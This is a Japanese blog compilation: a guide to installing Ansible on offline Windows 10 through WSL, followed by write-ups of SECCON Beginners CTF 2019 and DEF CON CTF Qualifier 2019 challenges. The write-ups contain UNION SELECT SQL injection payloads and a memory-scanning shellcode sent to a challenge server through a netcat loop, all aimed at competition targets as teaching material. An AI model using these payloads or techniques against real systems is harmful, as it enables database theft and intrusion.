オフラインのWindows10環境にAnsibleを導入する方法
- はじめに
- 検証環境
- 事前準備
- 導入手順
- おわりに
- 参考にしたサイト
はじめに
2019年7月4日、5日に開催されたHardening II SUという大会に参加してきました。
大会の中で、オフライン環境のWindiws10にAnsibleをインストールしなければならない機会がありました。 AnsibleをWindows10環境で動作させるためには、大まかに以下の3つの手順が必要です。
オフライン環境に導入するためには、少し面倒くさい手順が必要です。 大会当日に準備できなかった人が多かったみたいだったので、導入手順を紹介します。
検証環境
- Windows10 バージョン 1903(OSビルド 18362.207)
- Debian 9.5(WSL用のDebianディストリビューション 1-1-3-0_x64)
- Ansible 2.2.1.0
事前準備
オンライン環境で事前にパッケージをダウンロードしておく必要があります。 Ansibleやpywinrmは、依存しているパッケージがたくさんあり、準備だけでもかなり面倒くさいです。
1. WSL用のDebianディストリビューションパッケージのダウンロード
- 以下のコマンドでダウンロードする
PS1> Invoke-WebRequest -Uri https://aka.ms/wsl-debian-gnulinux -OutFile DeianGNULinux.Appx -UseBasicParsing
- もしくは、以下のリンク先にある Debian GNU/Linux からダウンロードする。 docs.microsoft.com
2. Ansibleに必要なパッケージのダウンロード
2-1. 依存パッケージをすべてダウンロードするためのスクリプトを用意する
Ubuntu 16.04: 依存パッケージを含めたdebパッケージをダウンロードする - Narrow Escape を参考にしました。
- apt-rdepends(依存パッケージを表示するツール)をインストールする。
$ sudo apt-get install apt-rdepends
- 依存パッケージをすべてダウンロードするためのスクリプト(download_deb_package.sh)を用意する。
#!/bin/sh if [ $# -ne 1 ]; then prog=`basename ${0}` echo "usage: ${prog} <package>" exit 1 fi TMP=`mktemp -t a.sh.XXXXXX` trap "rm $TMP* 2>/dev/null" 0 check_virtual_package() { apt show $1 2> /dev/null | grep "not a real package" > /dev/null return $? } get_provide_package() { apt install -s $1 > ${TMP} 2> /dev/null local state=0 local pkgs="" while read line; do if [ "${line}x" = "Package $1 is a virtual package provided by:x" ]; then state=1 elif [ ${state} -eq 1 -a -n "${line}" ]; then pkg=`echo ${line} | awk '{ print $1 }'` echo ${pkg} | grep -v ':i386' > /dev/null && pkgs="${pkg} ${pkgs}" fi done < ${TMP} echo "${pkgs}" } get_depend_package() { local pkgs="" local pkg="" for pkg in `apt-rdepends $1 2> /dev/null | grep -v "^ "`; do check_virtual_package ${pkg} if [ $? -eq 0 ]; then pkg=`get_provide_package ${pkg}` fi pkgs="${pkgs} ${pkg}" done echo "${pkgs}" } download_deb_package() { local pkgs="" pkgs=`get_depend_package $1` apt download ${pkgs} } download_deb_package $1
- 上記のスクリプトに実行権限を付与する。
$ chmod +x ./download_deb_package
2-2. ansibleに必要なパッケージをダウンロードする
(debパッケージ)
- ansible(必須)
$ mkdir ansible_deb_packages $ cd ansible_deb_packages $ sudo ../download_deb_package ansible
- python-pip(AnsibleでWindowsも制御したい場合のみ)
$ mkdir python-pip_deb_packages $ cd python-pip_deb_packages $ sudo ../download_deb_package python-pip
- gcc(AnsibleでWindowsも制御したい場合のみ)
$ mkdir gcc_deb_packages $ cd gcc_deb_packages $ sudo ../download_deb_package gcc
- python2.7-dev(AnsibleでWindowsも制御したい場合のみ)
$ mkdir python2.7-dev_deb_packages $ cd python2.7-dev_deb_packages $ sudo ../download_deb_package python2.7-dev
- libffi-dev(AnsibleでWindowsも制御したい場合のみ)
$ mkdir libffi-dev_deb_packages $ cd libffi-dev_deb_packages $ sudo ../download_deb_package libffi-dev
- libssl-dev(AnsibleでWindowsも制御したい場合のみ)
$ mkdir libssl-dev_deb_packages $ cd libssl-dev_deb_packages $ sudo ../download_deb_package libssl-dev
2-3. ansibleに必要なパッケージをダウンロードする
(pipパッケージ)
- setuptools(AnsibleでWindowsも制御したい場合のみ)
$ mkdir setuptools_pip_packages $ cd setuptools_pip_packages $ pip download -d . --no-binary :all: setuptools
- wheel(AnsibleでWindowsも制御したい場合のみ)
$ mkdir wheel_pip_packages $ cd wheel_pip_packages $ pip download -d . --no-binary :all: wheel
- pywinrm(AnsibleでWindowsも制御したい場合のみ)
$ mkdir pywinrm_pip_packages $ cd pywinrm_pip_packages $ pip download -d . --no-binary :all: pywinrm
導入手順
1. WSLのインストール
1-1. WSL(Windows Subsystem for Linux)を有効にする
- 管理者モードでPowerShellを開き、以下のコマンドを入力する。
PS> Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
- コンピュータを再起動する。
1-2. WSL用のDebianを起動する
- 事前に用意したDebianディストリビューションパッケージを持ってくる。
- PowerShellで以下のコマンドを実行し、Debianを起動する。
PS> Rename-Item DebianGNULinux.Appx DebianGNULinux.zip PS> Expand-Archive DebianGNULinux.zip PS> .\DebianGNULinux\debian.exe
- ユーザ名とパスワードを設定する。
2. Ansibleのインストール
- 事前に用意したAnsible用のdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd ansible_deb_packages $ sudo dpkg -i --force-depends *.deb
3. python-pipのインストール
(AnsibleでWindowsも制御したい場合のみ)
3-1. python-pipをインストールする
- 事前に用意したpython-pip用のdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd python-pip_deb_packages $ sudo dpkg -i --force-depends *.deb
3-2. setuptoolsをアップデートする
- 事前に用意したsetuptoolsのpipパッケージを持ってくる。
- setuptoolsをアップデートする。
$ sudo pip install --upgrade setuptools-41.0.1.zip
※ ちなみにアップデートしないと、以下のようなエラーが出てしまいます。Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-3l_UOj-build/
4. winrmのインストール
(AnsibleでWindowsも制御したい場合のみ)
4-1. wheelをインストールする
- 事前に用意したwheelのpipパッケージを持ってくる。
- wheelをインストールする。
$ pip install wheel-0.33.4.tar.gz
4-2. gccをインストールする
- 事前に用意したgccのdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd gcc_deb_packages $ sudo dpkg -i --force-depends *.deb
4-3. python2.7-devをインストールする
- 事前に用意したpython2.7-devのdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd python2.7-dev_deb_packages $ sudo dpkg -i --force-depends *.deb
4-4. libffi-devをインストールする
- 事前に用意したlibffi-devのdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd libffi-dev_deb_packages $ sudo dpkg -i --force-depends *.deb
4-5. libssl-devをインストールする
- 事前に用意したlibssl-devのdebパッケージを持ってくる。
- debパッケージをすべてインストールする。
$ cd libssl-dev_deb_packages $ sudo dpkg -i --force-depends *.deb
4-6. pywinrmをインストールする
- 事前に用意したpywinrmのpipパッケージを持ってくる。
- pipパッケージをすべてインストールする。
$ cd pywinrm_pip_packages $ pip install --no-index --find-links . *
おわりに
今回は、オフラインのWindows10環境にAnsibleを導入する手順について紹介しました。 ここまでやって、やっとAnsibleを使用するためのスタートラインに立つことができます。
大会当日は、手動で導入作業していたため、Ansibleが使用できるようになるまでに約40分掛かってしまいました。 このようにオフライン環境に一から導入するには、結構時間がかかってしまいます。 Ansibleの用途にもよりますが、単純なものであれば、シンプルなシェルスクリプトなどで代用することも検討に入れたほうがいいと思います。
参考にしたサイト
- Install the Linux Subsystem on Windows Server | Microsoft Docs
- Manually download Windows Subsystem for Linux (WSL) Distros | Microsoft Docs
- Ubuntu 16.04: 依存パッケージを含めたdebパッケージをダウンロードする - Narrow Escape
- pip - Python Packages Offline Installation - Stack Overflow
- Gou Home | Blog Archive | 【 dpkg 】 debパッケージのインストール・アンインストールを行う
SECCON Beginners CTF 2019 Writeup
SECCON Beginners CTF 2019 について
SECCON Beginners CTF 2019が開催されました。
2019月5月25日 午後3時~5月26日 午後3時(24時間)
https://score.beginners.seccon.jp/score.beginners.seccon.jp
今回は、4人のチームで参加しました。結果は、72位で1291点でした。 これまで参加してきたDEFCONやTSGなどと違って易しい問題が多かったです。
SECCON Beginners CTF 2019 Writeup
(7問)
私が実際に解いた7つの問題だけ紹介します。
[Web] Ramen
問題
解答例
https://ramen.quals.beginners.seccon.jp にアクセスしてみると、ラーメン屋の店員紹介ページが表示されました。
名前の入力欄があるようです。 試しに「'」と入力してみると、PHPのエラーが表示されました。SQLインジェクションができそうです。
Fatal error: Uncaught Error: Call to a member function fetchAll() on boolean in /var/www/web/public/index.php:11 Stack trace: #0 {main} thrown in /var/www/web/public/index.php on line 11
いろいろ入力してみると、以下の入力でテーブル名一覧を取得することができました。
' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS --
省略
flagというテーブルがあるようです。 以下のように入力してみると、フラグを取得することができました。
' UNION SELECT flag, null FROM flag --
FLAG
ctf4b{a_simple_sql_injection_with_union_select}
[Web] katsudon
問題
Rails 5.2.1で作られたサイトです。
https://katsudon.quals.beginners.seccon.jp
クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。
フラグは以下にあります。
https://katsudon.quals.beginners.seccon.jp/flag
# app/controllers/coupon_controller.rb class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code) end end
解答例
とりあえず、https://katsudon.quals.beginners.seccon.jp にアクセスしてみると、3つのシリアルコードが書かれていました。
BAhJIhByZWl3YWhhbnRlbgY6BkVU--bc5614afcef948624ebc137432c2dcdc624111b6 BAhJIhNoZWlzZWlzaG9rdWRvdQY6BkVU--f9aa81191fb073fb87bfa71b20c02bf3a30d1b10 BAhJIhRyZXN0YXVyYW50c2hvd2EGOgZFVA==--a78497e11151cffc45af945a1a243138b6084140
最後のシリアルコードだけ==という文字列があり、Base64でエンコードされているように見えます。 それぞれデコードしてみると、以下の通りになり、店名が出てきました。
..I".reiwahanten.:.ET ..I".heiseishokudou.:.ET ..I".restaurantshowa.:.ET
次に https://katsudon.quals.beginners.seccon.jp/flag に確認すると、シリアルコードだけが書かれていました。
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
同様にBase64でデコードしてみると、フラグが出てきました。
..I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}.:.ET
フラグ
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
[Reversing] Seccompare
問題
https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz
解答例
ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。
$ file seccompare seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4a607c82ea263205071c80295afe633412cda6f7, not stripped
ELFファイルだったので、Ghidraで開いてみました。
1文字ずつ値を代入し、strcmpで比較しているようです。 ltraceで関数呼び出しをトレース出力してみると、strcmp関数による比較処理で、フラグを確認することができました。
$ ltrace ./seccompare aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 2 puts("wrong"wrong ) = 6 +++ exited (status 0) +++
FLAG
ctf4b{5tr1ngs_1s_n0t_en0ugh}
[Crypto] So Tired
問題
最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!
File: so_tired.tar.gz
解答例
ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。
$ file encrypted.txt encrypted.txt: ASCII text, with very long lines, with no line terminators
普通のテキストファイルのようなので中身を確認してみました。 末尾のほうを見ると==となっていたので、Base64でエンコードされているようです。
省略 OS79ZdkY3RZVE55QKbgtlPXoZ5vgL0L4ig5FFk07kYmt9oP4+xY8VKB7Iqh9I+5+K5v4B8HzgzA==
ここからは、CyberChefで作業しました。
まず、「From Base64」でデコードすると、zlibで圧縮されたデータが出てきました。
次に、「Zlib Inflate」で展開してみると、またBase64らしきデータが出てきました。
もう一度、「From Base64」でデコードすると、またzlibで圧縮されたデータが出てきました。
「From Base64」→「Zlib Inflate」を繰り返し展開していく問題のようです。 「Label」と「Conditional Jump」を使って、ctf4bという文字列が現れるまでループさせるとフラグを取得することができました。
FLAG
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
[Misc] Welcome
問題
SECCON Beginners CTFのIRCチャンネルで会いましょう。
IRC: freenode.net #seccon-beginners-ctf
解答例
IRC: freenode.net と書かれていたので、freenode.netで検索すると、IRCのサービスが出てきました。
「Channels」に「#seccon-beginners-ctf」と入力して「Connect」を押すと、 SECCON Beginners CTF 2019の運営に質問するためのチャンネルに接続できました。
チャンネルの説明欄にフラグが書かれていました。
FLAG
ctf4b{welcome_to_seccon_beginners_ctf}
[Misc] containers
問題
Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers
解答例
ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。
$ file e35860e49ca3fa367e456207ebc9ff2f_containers e35860e49ca3fa367e456207ebc9ff2f_containers: data
dataと表示され、よく分からないのでbinwalkコマンドを実行してみました。
$ binwalk e35860e49ca3fa367e456207ebc9ff2f_containers DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 16 0x10 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 107 0x6B Zlib compressed data, compressed 738 0x2E2 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 829 0x33D Zlib compressed data, compressed 1334 0x536 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 1425 0x591 Zlib compressed data, compressed 1914 0x77A PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 2005 0x7D5 Zlib compressed data, compressed 2856 0xB28 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 2947 0xB83 Zlib compressed data, compressed 3666 0xE52 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 3757 0xEAD Zlib compressed data, compressed 4354 0x1102 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 4445 0x115D Zlib compressed data, compressed 5156 0x1424 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 5247 0x147F Zlib compressed data, compressed 5846 0x16D6 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 5937 0x1731 Zlib compressed data, compressed 6722 0x1A42 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 6813 0x1A9D Zlib compressed data, compressed 7757 0x1E4D PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 7848 0x1EA8 Zlib compressed data, compressed 8338 0x2092 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 8429 0x20ED Zlib compressed data, compressed 9243 0x241B PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 9334 0x2476 Zlib compressed data, compressed 10319 0x284F PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 10410 0x28AA Zlib compressed data, compressed 11042 0x2B22 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 11133 0x2B7D Zlib compressed data, compressed 12118 0x2F56 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 12209 0x2FB1 Zlib compressed data, compressed 12809 0x3209 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 12900 0x3264 Zlib compressed data, compressed 13845 0x3615 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 13936 0x3670 Zlib compressed data, compressed 14592 0x3900 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 14683 0x395B Zlib compressed data, compressed 15535 0x3CAF PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 15626 0x3D0A Zlib compressed data, compressed 16440 0x4038 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 16531 0x4093 Zlib compressed data, compressed 17313 0x43A1 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 17404 0x43FC Zlib compressed data, compressed 18218 0x472A PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 18309 0x4785 Zlib compressed data, compressed 19123 0x4AB3 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 19214 0x4B0E Zlib compressed data, compressed 19926 0x4DD6 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 20017 0x4E31 Zlib compressed data, compressed 20869 0x5185 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 20960 0x51E0 Zlib compressed data, compressed 21742 0x54EE PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 21833 0x5549 Zlib compressed data, compressed 22465 0x57C1 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 22556 0x581C Zlib compressed data, compressed 23408 0x5B70 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 23499 0x5BCB Zlib compressed data, compressed 23989 0x5DB5 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 24080 0x5E10 Zlib compressed data, compressed 24810 0x60EA PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 24901 0x6145 Zlib compressed data, compressed 25753 0x6499 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 25844 0x64F4 Zlib compressed data, compressed 26788 0x68A4 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 26879 0x68FF Zlib compressed data, compressed 27599 0x6BCF PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 27690 0x6C2A Zlib compressed data, compressed 28504 0x6F58 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 28595 0x6FB3 Zlib compressed data, compressed 29085 0x719D PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 29176 0x71F8 Zlib compressed data, compressed 29808 0x7470 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 29899 0x74CB Zlib compressed data, compressed 30844 0x787C PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 30935 0x78D7 Zlib compressed data, compressed 31524 0x7B24 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 31615 0x7B7F Zlib compressed data, compressed
PNG形式のデータが複数混ざっているようです。 foremostコマンドで抽出してみます。
$ foremost e35860e49ca3fa367e456207ebc9ff2f_containers Processing: e35860e49ca3fa367e456207ebc9ff2f_containers |*|
抽出したファイルを確認すると、画像に文字が書かれており、フラグになっていました。
FLAG
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
[Misc] Sliding puzzle
問題
nc 133.242.50.201 24912
スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。
スライドパズルは以下のように表示されます。 ----------------
| 0 | 2 | 3 |
| 6 | 7 | 1 |
| 8 | 4 | 5 |
----------------0 はブランクで動かすことが可能です。操作方法は以下のとおりです。
0 : 上
1 : 右
2 : 下
3 : 左
最終的に以下の形になるように操作してください。----------------
| 0 | 1 | 2 |
| 3 | 4 | 5 |
| 6 | 7 | 8 |
----------------操作手順は以下の形式で送信してください。
1,3,2,0, ... ,2
解答例
netcatで 133.242.50.201:24912 に接続してみると、以下のように表示されました。
$ nc 133.242.50.201 24912 ---------------- | 03 | 01 | 04 | | 00 | 05 | 02 | | 06 | 07 | 08 | ---------------- 0,0,0,0,0,0 [-] Incorrect answer.
10秒でタイムアウトしてしまうようなので、プログラムを書いて解いていく問題のようです。 8パズルを解くプログラムを1から組むのは大変なので、検索していると幅優先探索で8パズルを解いているブログがありました。
上記のブログのプログラムを参考に今回の問題を解いていきます。
# 8-puzzle.py from collections import deque from pwn import * MOVE = {'U': (0, -1), 'D': (0, 1), 'L': (-1, 0), 'R': (1, 0)} # (x,y) def get_next(numbers): for d in 'UDLR': zero_index = numbers.index(0) tx, ty = zero_index % 3 + MOVE[d][0], zero_index // 3 + MOVE[d][1] if 0 <= tx < 3 and 0 <= ty < 3: target_index = ty * 3 + tx result = list(numbers) result[zero_index], result[target_index] = numbers[target_index], 0 yield d, tuple(result) def checkio(puzzle): queue = deque([(tuple(n for line in puzzle for n in line), '')]) seen = set() while queue: numbers, route = queue.popleft() seen.add(numbers) # if numbers == (1, 2, 3, 4, 5, 6, 7, 8, 0): if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8): return route for direction, new_numbers in get_next(numbers): if new_numbers not in seen: queue.append((new_numbers, route + direction)) p = remote('133.242.50.201', 24912) count = 1 while True: try: puzzle = [] for _ in range(3): p.readuntil('| ') read_line = p.readline().strip().replace(' ', '').split('|') puzzle_row = [int(read_line[0]), int(read_line[1]), int(read_line[2])] puzzle.append(puzzle_row) answer_UDLR = checkio(puzzle) answer = answer_UDLR \ .replace('U', '0,') \ .replace('D', '2,') \ .replace('L', '3,') \ .replace('R', '1,')[:-1] p.sendline(answer) print('-----' + str(count) + '-----') print(puzzle) print(answer) count += 1 except EOFError: break p.interactive()
上記のプログラムを実行してみると、100問解いた後にフラグが表示されました。
$ python 8-puzzle.py [+] Opening connection to 133.242.50.201 on port 24912: Done -----1----- [[0, 2, 5], [1, 3, 8], [6, 4, 7]] 2,1,2,1,0,0,3,3 -----2----- [[4, 3, 2], [6, 1, 8], [0, 5, 7]] 0,0,1,2,2,1,0,3,3,0 -----3----- [[1, 2, 0], [3, 4, 5], [6, 7, 8]] 3,3 -----4----- [[1, 2, 0], [3, 4, 5], [6, 7, 8]] 3,3 -----5----- [[1, 2, 5], [3, 4, 0], [6, 7, 8]] 0,3,3 省略 -----96----- [[1, 4, 2], [6, 3, 5], [0, 7, 8]] 0,1,0,3 -----97----- [[1, 4, 2], [3, 0, 7], [6, 8, 5]] 1,2,3,0,0,3 -----98----- [[3, 1, 2], [7, 6, 5], [0, 4, 8]] 0,1,2,3,0,0 -----99----- [[3, 1, 2], [0, 7, 5], [4, 6, 8]] 2,1,0,3,0 -----100----- [[1, 2, 0], [3, 4, 5], [6, 7, 8]] 3,3 [*] Switching to interactive mode ---------------- [+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72} [*] Got EOF while reading in interactive
FLAG
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
DEF CON CTF Qualifier 2019 Writeup
DEF CON CTF Qualifier 2019 について
毎年恒例のDEF CON予選が開催されました。
2019年5月11日(土)午前9時~5月13日(月)午前9時まで(48時間)
私は3問しか解くことができませんでした。結果は、153位で310点でした。 ほとんどがPWN系の問題でかなり難しいといった印象でした。
DEF CON CTF Qualifier 2019 Writeup(3問)
[FIRST CONTACT] WELLCOME_TO_THE_GAME
問題
Welcome to the 2019 DEF CON CTF quals! Let's start it out with a free flag :)
If you can't submit it and get points there must be something very wrong, and we hope it's on your end :D
添付ファイル(flag)
OOO{Game on!}
解答例
flagファイルをcatコマンドで表示するだけ
$ cat flag OOO{Game on!}
FLAG
OOO{Game on!}
[FIRST CONTACT] KNOW_YOUR_MEM
問題
Find the flag page in memory, 64-bit edition. Timeouts are strict, please test locally first! There's a simplified version to help with that.
know_your_mem.quals2019.oooverflow.io 4669
添付ファイル
解答例
とりあえず、README.mdやshellcode.cなどを参考にビルドしてみました。 私の環境だとgetrandomシステムコールがなかったので、少しソースコードを調整しました。 また、alarm関数があり、中断されるのでそこもコメントアウトしました。
know_your_mem.cとsimplified.cの修正箇所
- 4行目をコメントアウト
// #include <sys/random.h>
- 40行目のコメントを戻す
int fd = open("/dev/urandom", O_RDONLY); if (read(fd, &ret, sizeof(ret)) != sizeof(ret)) { err(47, "urandom"); } close(fd);
- 41行目をコメントアウト
// if (getrandom(&ret, sizeof(ret), GRND_NONBLOCK) != sizeof(ret)) err(47, "getrandom");
- 180行目をコメントアウト
// alarm(10);
必要なパッケージのインストール、権限設定を行います。
$ sudo apt install libseccomp-dev libseccomp2 $ git clone https://chromium.googlesource.com/linux-syscall-support $ chmod +x topkt.py
README.mdにある通りに make check
をすると以下の通りになります。
$ make check ./simplified [ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.9.0-8-amd64 (x86_64) Loading your simplified solution from ./simplified_shellcode.so [ ] Putting the flag somewhere in memory... Secret loaded (header + 107 bytes) [H] The flag is at 0x1d8cfbca6000 [ ] Putting red herrings in memory... [H] Red herring at 0x1c6adb0bc000 [H] Red herring at 0x1ede9e616000 [H] Red herring at 0x1492e76a5000 [H] Red herring at 0x1b9afff9d000 [H] Red herring at 0x15bea09ed000 [H] Red herring at 0x15bd1d2dc000 [H] Red herring at 0x1ec8383dd000 [H] Red herring at 0x1d90cf8cd000 [H] Red herring at 0x10e19c9bd000 [H] Red herring at 0x176bcd88d000 [H] Red herring at 0x165d121fb000 [H] Red herring at 0x1f26fc306000 [H] Red herring at 0x183b81dff000 [H] Red herring at 0x1e47eccb1000 [H] Red herring at 0x1afc15a34000 [H] Red herring at 0x15ad9b443000 [H] Red herring at 0x16e1dec4d000 [H] Red herring at 0x1e45e4bbd000 [H] Red herring at 0x149657cdf000 [H] Red herring at 0x19e7a56c9000 [H] Red herring at 0x1a6c4a3b5000 [H] Red herring at 0x1eb70b0c6000 [H] Red herring at 0x1aee559f9000 [H] Red herring at 0x1e334063d000 [H] Red herring at 0x189b2c68a000 [H] Red herring at 0x1bc581407000 [H] Red herring at 0x1b408858a000 [H] Red herring at 0x1a78fd20f000 [H] Red herring at 0x16db44b80000 [H] Red herring at 0x1f26e0d3f000 [*] seccomp filter now active! Hi! Soon I'll be your shellcode! [*] Your shellcode returned 0x123456 [!] Sorry, you didn't find the secret address. Makefile:27: ターゲット 'check' のレシピで失敗しました make: *** [check] エラー 1
flagが書き込まれたメモリ領域を引き当てることができれば、フラグを取得できそうだということが分かりました。 shellcodeを記述できるような環境も揃っているようなので、そちらを利用して検証してみます。
まずは、ヒントとして用意されているsimplified.cとsimplified_shellcode.so.cを使って問題を解いてみます。 simplified_shellcode.so.cを編集して以下のプログラムを書きました。
- メモリ領域(0x00001ffffffff000~0x0000100000000000)を1ページ(4096byte)ずつ探索する。
- 見つけた領域をmprotectシステムコールを使って、READ権限の付与を行う。
- mprotectシステムコールは、確保されたメモリ領域でなければ、ENOMEMエラーを返す。 エラーが返ってこなければ、すでに確保された領域だと判定できる。
- 今回は適当にREAD権限の付与を行った。
- 確保されたメモリ領域を見つけたら、printf関数で表示する。
- 「OOO」の文字列を見つけたら、探索を終了する。
#include <stdio.h> #include <unistd.h> #include <sys/mman.h> #include <inttypes.h> #include <string.h> #define ADDR_MIN 0x0000100000000000UL #define ADDR_MASK 0x00000ffffffff000UL #define hint(x, ...) fprintf(stderr, "[H] " x, __VA_ARGS__) void *shellcode() { uintptr_t offset; void *addr = 0; printf("Hi! Soon I'll be your shellcode!\n"); for (offset = 0xffffffff; offset >= 0; offset--) { addr = (void *)(((offset << 12) & ADDR_MASK) + ADDR_MIN); if (mprotect(addr, 4096, PROT_READ) != 0) continue; hint("%p: Allocated Memory Found\n", addr); hint("%.100s\n", (char *)addr); if (strncmp(addr, "OOO", 3) == 0) break; } return addr; }
実行結果は、以下の通りになります。
$ ./simplified [ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.9.0-8-amd64 (x86_64) Loading your simplified solution from ./simplified_shellcode.so [ ] Putting the flag somewhere in memory... Secret loaded (header + 107 bytes) [H] The flag is at 0x1d384bdf8000 [ ] Putting red herrings in memory... [H] Red herring at 0x11c0a1626000 [H] Red herring at 0x15335a290000 [H] Red herring at 0x107d3964d000 [H] Red herring at 0x144355ee4000 [H] Red herring at 0x160aa56e7000 [H] Red herring at 0x175715a7c000 [H] Red herring at 0x1400c3e53000 [H] Red herring at 0x1f44346ca000 [H] Red herring at 0x195005f03000 [H] Red herring at 0x1ec52dce4000 [H] Red herring at 0x151ddf5cb000 [H] Red herring at 0x15aadcfbd000 [H] Red herring at 0x16f8cfca7000 [H] Red herring at 0x151605b97000 [H] Red herring at 0x13d2c86e9000 [H] Red herring at 0x10e899e43000 [H] Red herring at 0x10039b2ee000 [H] Red herring at 0x1d2e14bbf000 [H] Red herring at 0x1ce7b022d000 [H] Red herring at 0x184fd3ee9000 [H] Red herring at 0x1a27962ff000 [H] Red herring at 0x1ca467878000 [H] Red herring at 0x11118208c000 [H] Red herring at 0x185c01d03000 [H] Red herring at 0x1c5835743000 [H] Red herring at 0x114620a2e000 [H] Red herring at 0x10a01139a000 [H] Red herring at 0x12fae2514000 [H] Red herring at 0x120eba409000 [H] Red herring at 0x131e1400a000 [*] seccomp filter now active! Hi! Soon I'll be your shellcode! [H] 0x1f44346ca000: Allocated Memory Found [H] Sorry, this is just a red herring page. Keep looking! [H] 0x1ec52dce4000: Allocated Memory Found [H] Sorry, this is just a red herring page. Keep looking! [H] 0x1d384bdf8000: Allocated Memory Found [H] OOO: You found it, congrats! The flag is: OOO{theflagwillbehere} Make sure you print it to stdout, s [*] Your shellcode returned 0x1d384bdf8000 [^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it.
次に上記の結果を基にshellcode.cを編集してRAWシェルコードを作成しました。
static int my_errno = 0; #define SYS_ERRNO my_errno #include "linux-syscall-support/linux_syscall_support.h" #define PAGE_SIZE 4096 #define ADDR_MIN 0x0000100000000000UL // Low-ish #define ADDR_MASK 0x00000ffffffff000UL // Page-aligns #define ADDR_MAX (ADDR_MASK + ADDR_MIN + PAGE_SIZE) #define N_FAKES 30 void _start() { void *addr = (void *)ADDR_MAX; int i; for (i = 0; i < N_FAKES + 1; i++) { do { addr -= PAGE_SIZE; } while (sys_mprotect(addr, PAGE_SIZE, 1) != 0); sys_write(1, addr, PAGE_SIZE); } sys_exit_group(2); }
flagが書き込まれたメモリ領域は、ランダムで決まります。 10秒以内でflagが書き込まれたメモリ領域が見つかることを祈って、何回か実行させました。 200回程度の試行回数で発見することができました。
#!/bin/bash echo "pid: $$" count=0 echo -en "try: $count" while : do nc know_your_mem.quals2019.oooverflow.io 4669 < shellcode.bin.pkt >> $$.log FLAG=`grep -a OOO $$.log` if [ "$FLAG" ]; then echo -e "\n$FLAG" break fi let count++ echo -en "\rtry: $count" done
